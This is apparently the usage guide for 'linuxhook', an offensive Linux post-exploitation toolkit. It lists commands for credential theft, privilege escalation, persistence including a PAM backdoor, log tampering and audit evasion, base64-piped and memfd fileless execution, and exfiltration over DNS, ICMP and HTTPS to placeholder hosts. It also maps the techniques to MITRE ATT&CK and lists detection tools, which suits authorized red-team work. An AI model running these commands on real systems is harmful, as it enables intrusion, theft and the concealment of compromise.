Linux Post-Exploitation Methodology

Linux post-exploitation uses native tools and scripting for credential harvesting, privilege escalation, persistence, lateral movement, defense evasion, data exfiltration, and network attacks. After gaining a shell on a Linux target, these 118 programs across 8 categories provide comprehensive offensive capabilities — from /etc/shadow extraction to kernel exploit checks, from cron/systemd persistence to DNS tunnel exfiltration, from SELinux/AppArmor bypass to ARP spoofing.

Multi-Exec Engine

All 118 programs support multiple execution methods with automatic fallback:

Method	Engine	When to Use
bash	GNU Bash (default)	Full bash access, most compatible
sh	POSIX sh	Bash unavailable, minimal environments
python3	Python 3	Complex operations, memfd stealth
perl	Perl	Legacy systems, regex-heavy operations
busybox	BusyBox	Embedded/minimal Linux, containers
auto	Auto-detect best	Unknown environment — runs detect_env

linuxhook shadow_dump --exec sh
linuxhook kernel_exploit_check --exec auto

Stealth Modes

Mode	Technique	Use Case
base64	echo ENCODED | base64 -d | bash	Bypass string-based command logging
memfd	Python3 memfd_create fileless exec	No file touches disk, bypasses file monitoring
shm	/dev/shm tmpfs execution	Fast tmpfs execution, auto-cleanup

linuxhook shadow_dump --stealth base64
linuxhook cron_persist --stealth memfd --command CMD

Prerequisites

Before deploying linuxhook tools, verify:

1. Environment detection — run linuxhook detect_env FIRST to determine available tools and recommended exec method
2. Access level — check root/sudo status; most credential and persistence operations require elevated privileges
3. Security frameworks — run linuxhook security_framework to assess SELinux, AppArmor, seccomp, and audit status
4. Container check — run linuxhook container_detect to verify you're on the host, not in a container

# Step 0 — environment detection (ALWAYS run first)
linuxhook detect_env

# Step 1 — stealth capability check
linuxhook stealth_check_linux

Kill Chain Phases

Phase 1 — Reconnaissance

Comprehensive system and environment assessment.

Action	Command	Purpose
Environment detect	linuxhook detect_env	ALWAYS run first — exec methods, root status, kernel, security frameworks
Full recon	linuxhook local_recon_linux	All-in-one system/user/network/process/security scan
System info	linuxhook system_info --verbose	Hostname, kernel, CPU, memory, uptime, environment
Process enum	linuxhook process_enum	Running processes, security tools, monitoring agents
Network enum	linuxhook network_enum	Interfaces, routes, DNS, connections, iptables rules
User enum	linuxhook user_enum	Users, groups, sudo members, SSH keys, home dirs
Service enum	linuxhook service_enum	Systemd units, init.d scripts, daemons
Package enum	linuxhook package_enum --security-only	Security-relevant packages and CVE candidates
Container detect	linuxhook container_detect	Docker/LXC/K8s/Podman/WSL detection
Security framework	linuxhook security_framework	SELinux, AppArmor, seccomp, PAM, audit status
Interesting files	linuxhook interesting_files --deep	SUID/SGID, world-writable, configs, backups, keys
Mount enum	linuxhook mount_enum	Filesystems, NFS/CIFS, mount options (nosuid/noexec)
Kernel modules	linuxhook kernel_module_enum	Loaded modules, security modules, rootkit indicators
Stealth check	linuxhook stealth_check_linux	Test all exec methods and stealth modes

Phase 2 — Credential Harvesting

Extract credentials from multiple sources.

Action	Command	Purpose
Shadow dump	linuxhook shadow_dump	/etc/shadow hash extraction and analysis
SSH keys	linuxhook ssh_key_harvest	SSH private keys from all users
History secrets	linuxhook bash_history_secrets	Passwords/tokens from shell history
GNOME Keyring	linuxhook gnome_keyring_dump	GNOME Keyring stored passwords
KWallet	linuxhook kwallet_dump	KDE Wallet stored passwords
Browser creds	linuxhook browser_creds_linux --browser all	Chrome/Firefox saved passwords and cookies
Environment	linuxhook env_secrets	API keys/tokens from /proc/*/environ
Process memory	linuxhook proc_memory_harvest	Credentials from sshd/sudo/su process memory
GPG keys	linuxhook gpg_key_extract	GPG private keys and passphrases
Cloud creds	linuxhook cloud_cred_harvest	AWS/GCP/Azure credential files and metadata
Docker creds	linuxhook docker_config_creds	Docker registry auth tokens
Git creds	linuxhook git_cred_harvest	Git credentials, GitHub/GitLab tokens
WiFi creds	linuxhook wifi_creds_nm	NetworkManager WiFi passwords
Kerberos	linuxhook kerberos_keytab	Keytab files and ccache tickets
Database creds	linuxhook db_cred_harvest	MySQL/PostgreSQL/MongoDB/Redis credentials
VNC password	linuxhook vnc_password	VNC password files (DES-encrypted, trivially reversible)
Mail spool	linuxhook mail_spool_harvest	Credentials in email (password resets, tokens)
Netrc	linuxhook netrc_harvest	Plaintext .netrc FTP/HTTP credentials
LDAP creds	linuxhook ldap_cred_harvest	LDAP bind passwords from configs
Credential scan	linuxhook credential_files_scan --deep	Broad filesystem credential file discovery

Phase 3 — Privilege Escalation

Escalate from standard user to root via 25 techniques.

Action	Command	Purpose
Sudo misconfig	linuxhook sudo_misconfig	Sudoers analysis, NOPASSWD, GTFOBins
SUID/SGID scan	linuxhook suid_sgid_scan	SUID/SGID binaries with GTFOBins matching
Capabilities	linuxhook capabilities_abuse	Dangerous capabilities (cap_setuid, cap_sys_admin)
Cron privesc	linuxhook cron_privesc	Writable cron scripts, PATH hijack
NFS root squash	linuxhook nfs_no_root_squash	NFS no_root_squash SUID escalation
PATH hijack	linuxhook path_hijack	Writable PATH directories for root scripts
LD_PRELOAD	linuxhook ld_preload_abuse	LD_PRELOAD env_keep and ld.so.preload
Kernel exploits	linuxhook kernel_exploit_check	DirtyPipe, DirtyCow, PwnKit, OverlayFS, netfilter
Writable passwd	linuxhook writable_passwd	Add root user to writable /etc/passwd
PwnKit	linuxhook pkexec_cve	CVE-2021-4034 pkexec local privesc
Systemd units	linuxhook systemd_unit_abuse	Writable service files, ExecStart override
D-Bus exploit	linuxhook dbus_exploit	D-Bus services with permissive policies
pip setup abuse	linuxhook pip_setup_abuse	sudo pip install code execution
Shared lib hijack	linuxhook shared_lib_hijack	RPATH/RUNPATH library hijacking
logrotate race	linuxhook logrotate_race	CVE-2016-1247 log symlink race
Writable services	linuxhook writable_service_bin	Root services with writable binaries
Polkit bypass	linuxhook polkit_bypass	CVE-2021-3560, CVE-2021-4034
Snap privesc	linuxhook snap_privesc	DirtySnap CVE-2022-3328
Docker escape	linuxhook docker_group_escape	Docker group → root via host mount
LXD escape	linuxhook lxd_group_escape	LXD group → root via container privesc
Python lib hijack	linuxhook python_lib_hijack	Writable sys.path, PYTHONPATH injection
MOTD abuse	linuxhook motd_abuse	Writable /etc/update-motd.d/ scripts
Wildcard injection	linuxhook wildcard_injection	tar/rsync/chown wildcard in cron/scripts
MySQL UDF	linuxhook mysql_udf	MySQL UDF → system command execution
ptrace scope	linuxhook ptrace_scope_check	Yama ptrace_scope restrictions

Phase 4 — Persistence

Establish persistent access via 22 mechanisms.

Action	Command	Purpose
Cron	linuxhook cron_persist --command CMD	Crontab or /etc/cron.d/ persistence
Systemd	linuxhook systemd_persist --command CMD --name NAME	Systemd service/timer auto-start
Bashrc	linuxhook bashrc_persist --command CMD	Shell RC file injection
SSH keys	linuxhook ssh_authorized_keys --key PUBKEY	SSH authorized key injection
ld.so.preload	linuxhook ld_so_preload --library PATH	System-wide library injection
SysVinit	linuxhook sysvinit_persist --command CMD	/etc/init.d/ script persistence
at job	linuxhook at_job_persist --command CMD --time TIME	Delayed one-time execution
udev rules	linuxhook udev_rules_persist --command CMD	Device-event triggered execution
PAM backdoor	linuxhook pam_backdoor --password PASS	Master password authentication bypass
MOTD	linuxhook motd_persist --command CMD	Login-triggered root execution
XDG autostart	linuxhook xdg_autostart --command CMD	Graphical session autostart
Git hooks	linuxhook git_hook_persist --command CMD --repo PATH	Git operation hooks
Kernel module	linuxhook kernel_module_persist --module PATH	Boot-persistent kernel module
APT hook	linuxhook apt_hook_persist --command CMD	Execute on apt operations
dpkg trigger	linuxhook dpkg_trigger_persist --command CMD	Execute on package operations
Socket activation	linuxhook socket_activation --command CMD --port PORT	On-demand systemd socket service
User service	linuxhook user_service_persist --command CMD	Rootless systemd user service
xinetd	linuxhook xinetd_persist --command CMD --port PORT	On-connection service spawning
rc.local	linuxhook rc_local_persist --command CMD	Legacy boot script execution
logrotate	linuxhook logrotate_persist --command CMD	Log rotation hook execution
SSH RC	linuxhook ssh_rc_persist --command CMD	Pre-shell SSH login execution
ld.so.conf	linuxhook ld_config_persist --library-path PATH	Library search path injection

Phase 5 — Lateral Movement

Move laterally using Linux infrastructure.

Action	Command	Purpose
SSH pivot	linuxhook ssh_pivot --target HOST	SSH key/password lateral movement
Ansible	linuxhook ansible_abuse	Exploit Ansible for mass execution
Puppet	linuxhook puppet_abuse	Exploit Puppet agent/master trust
Salt	linuxhook salt_abuse	Exploit SaltStack master→minion
NFS mount	linuxhook nfs_mount_attack --target HOST	Mount NFS exports for file access
rsync	linuxhook rsync_exploit --target HOST	Exploit anonymous rsync access
SSH tunnel	linuxhook ssh_tunnel --target HOST --type dynamic	SOCKS/local/remote SSH tunnels
socat tunnel	linuxhook socat_tunnel --listen PORT --connect HOST:PORT	TCP/UDP/SSL tunnels
Internal scan	linuxhook internal_scan --target CIDR	Ping sweep and port scan
Proxychains	linuxhook proxychains_setup --proxy HOST:PORT	Configure proxychains for tunneling

Phase 6 — Defense Evasion

Evade monitoring and detection.

Action	Command	Purpose
Log tamper	linuxhook log_tamper	Surgical log entry removal
History clear	linuxhook history_clear	Shell history cleanup
Timestomp	linuxhook timestomp --target PATH --reference REF	Modify file timestamps
auditd evade	linuxhook auditd_evade --action check	Disable/modify audit subsystem
SELinux bypass	linuxhook selinux_bypass --action check	Set permissive, exploit domains
AppArmor bypass	linuxhook apparmor_bypass --action check	Set complain mode, disable profiles
Rootkit detect	linuxhook rootkit_detect --deep	Detect existing rootkits and hooks
Process hide	linuxhook process_hide --pid PID	Hide processes from enumeration
File hide	linuxhook file_hide --path PATH	Hide files from directory listings
Network hide	linuxhook network_hide --port PORT	Hide network connections
Syslog manipulate	linuxhook syslog_manipulate --action filter	Redirect/filter syslog entries
Stealth check	linuxhook stealth_check_linux	Verify stealth modes work on target

Phase 7 — Data Exfiltration

Stage and exfiltrate data through multiple channels.

Action	Command	Purpose
Stage data	linuxhook data_stage --path PATH	Find, compress, encrypt sensitive files
DNS tunnel	linuxhook dns_tunnel_exfil --file PATH --domain DOMAIN	Exfil via DNS subdomain encoding
ICMP exfil	linuxhook icmp_exfil --file PATH --target IP	Exfil via ICMP echo payload
Covert channel	linuxhook covert_channel --type timing --target HOST	Timing/storage/protocol covert channels
HTTPS exfil	linuxhook https_exfil --file PATH --url URL	POST data over TLS
Artifact enum	linuxhook artifact_enum	Enumerate forensic artifacts from engagement
Steganography	linuxhook steganography_exfil --file PATH --cover IMAGE	Hide data in image/audio files

Phase 8 — Network Attacks

Network-level attacks from compromised host.

Action	Command	Purpose
ARP spoof	linuxhook arp_spoof --target IP --gateway IP	ARP cache poisoning for MITM
DNS spoof	linuxhook dns_spoof --domain DOMAIN --ip IP	DNS response spoofing
Packet capture	linuxhook packet_capture --interface eth0 --duration 60	Traffic capture with BPF filters
Port scan	linuxhook port_scan_native --target HOST --ports 1-1024	Native port scanning (no nmap needed)
MITM proxy	linuxhook mitm_proxy --port 8080	Transparent proxy for interception
Responder	linuxhook responder_linux --interface eth0	LLMNR/NBT-NS hash capture
Firewall enum	linuxhook firewall_enum	iptables/nftables/ufw/firewalld rules
Traffic redirect	linuxhook traffic_redirect --src-port 80 --dst HOST:8080	iptables DNAT/SNAT forwarding
WiFi attack	linuxhook wifi_attack --action scan	Wireless scanning, deauth, handshake capture

Phase 9 — Cleanup (MANDATORY)

Always run cleanup before leaving a target.

linuxhook cleanup_linux

Removes BountyReper artifacts: clears logs, removes persistence mechanisms, restores modified configs, cleans temp files.

Detection Considerations

Linux post-exploitation tools are detectable by:

• auditd — syscall monitoring, file access, process execution
• SELinux/AppArmor — mandatory access control enforcement
• AIDE/Tripwire — file integrity monitoring
• syslog/journald — authentication logs, system events
• Falco/Sysdig — runtime security monitoring
• OSSEC/Wazuh — host-based intrusion detection
• eBPF-based tools — kernel-level monitoring (Cilium, Tetragon)

Program Reference

Program	Technique	MITRE ATT&CK
shadow_dump	/etc/shadow hash extraction	T1003.008 — /etc/passwd and /etc/shadow
ssh_key_harvest	SSH private key collection	T1552.004 — Private Keys
bash_history_secrets	Shell history credential extraction	T1552.003 — Bash History
gnome_keyring_dump	GNOME Keyring extraction	T1555.001 — Keychain
browser_creds_linux	Browser credential extraction	T1555.003 — Credentials from Web Browsers
env_secrets	Environment variable secrets	T1552.001 — Credentials In Files
proc_memory_harvest	Process memory credential harvesting	T1003 — OS Credential Dumping
cloud_cred_harvest	Cloud provider credential files	T1552.001 — Credentials In Files
sudo_misconfig	Sudo misconfiguration analysis	T1548.003 — Sudo and Sudo Caching
suid_sgid_scan	SUID/SGID binary exploitation	T1548.001 — Setuid and Setgid
capabilities_abuse	Linux capabilities exploitation	T1548.001 — Setuid and Setgid
kernel_exploit_check	Kernel CVE assessment	T1068 — Exploitation for Privilege Escalation
docker_group_escape	Docker group privilege escalation	T1611 — Escape to Host
cron_persist	Cron-based persistence	T1053.003 — Cron
systemd_persist	Systemd service persistence	T1543.002 — Systemd Service
ssh_authorized_keys	SSH key persistence	T1098.004 — SSH Authorized Keys
pam_backdoor	PAM authentication backdoor	T1556.003 — Pluggable Authentication Modules
ssh_pivot	SSH lateral movement	T1021.004 — SSH
ansible_abuse	Ansible infrastructure abuse	T1072 — Software Deployment Tools
log_tamper	Log entry manipulation	T1070.002 — Clear Linux or Mac System Logs
history_clear	Shell history removal	T1070.003 — Clear Command History
timestomp	File timestamp modification	T1070.006 — Timestomp
auditd_evade	Audit system evasion	T1562.001 — Disable or Modify Tools
selinux_bypass	SELinux bypass	T1562.001 — Disable or Modify Tools
rootkit_detect	Rootkit detection	T1014 — Rootkit
dns_tunnel_exfil	DNS-based data exfiltration	T1048.001 — Exfiltration Over Symmetric Encrypted Non-C2 Protocol
arp_spoof	ARP cache poisoning	T1557.002 — ARP Cache Poisoning
packet_capture	Network traffic capture	T1040 — Network Sniffing
cleanup_linux	Artifact removal	T1070 — Indicator Removal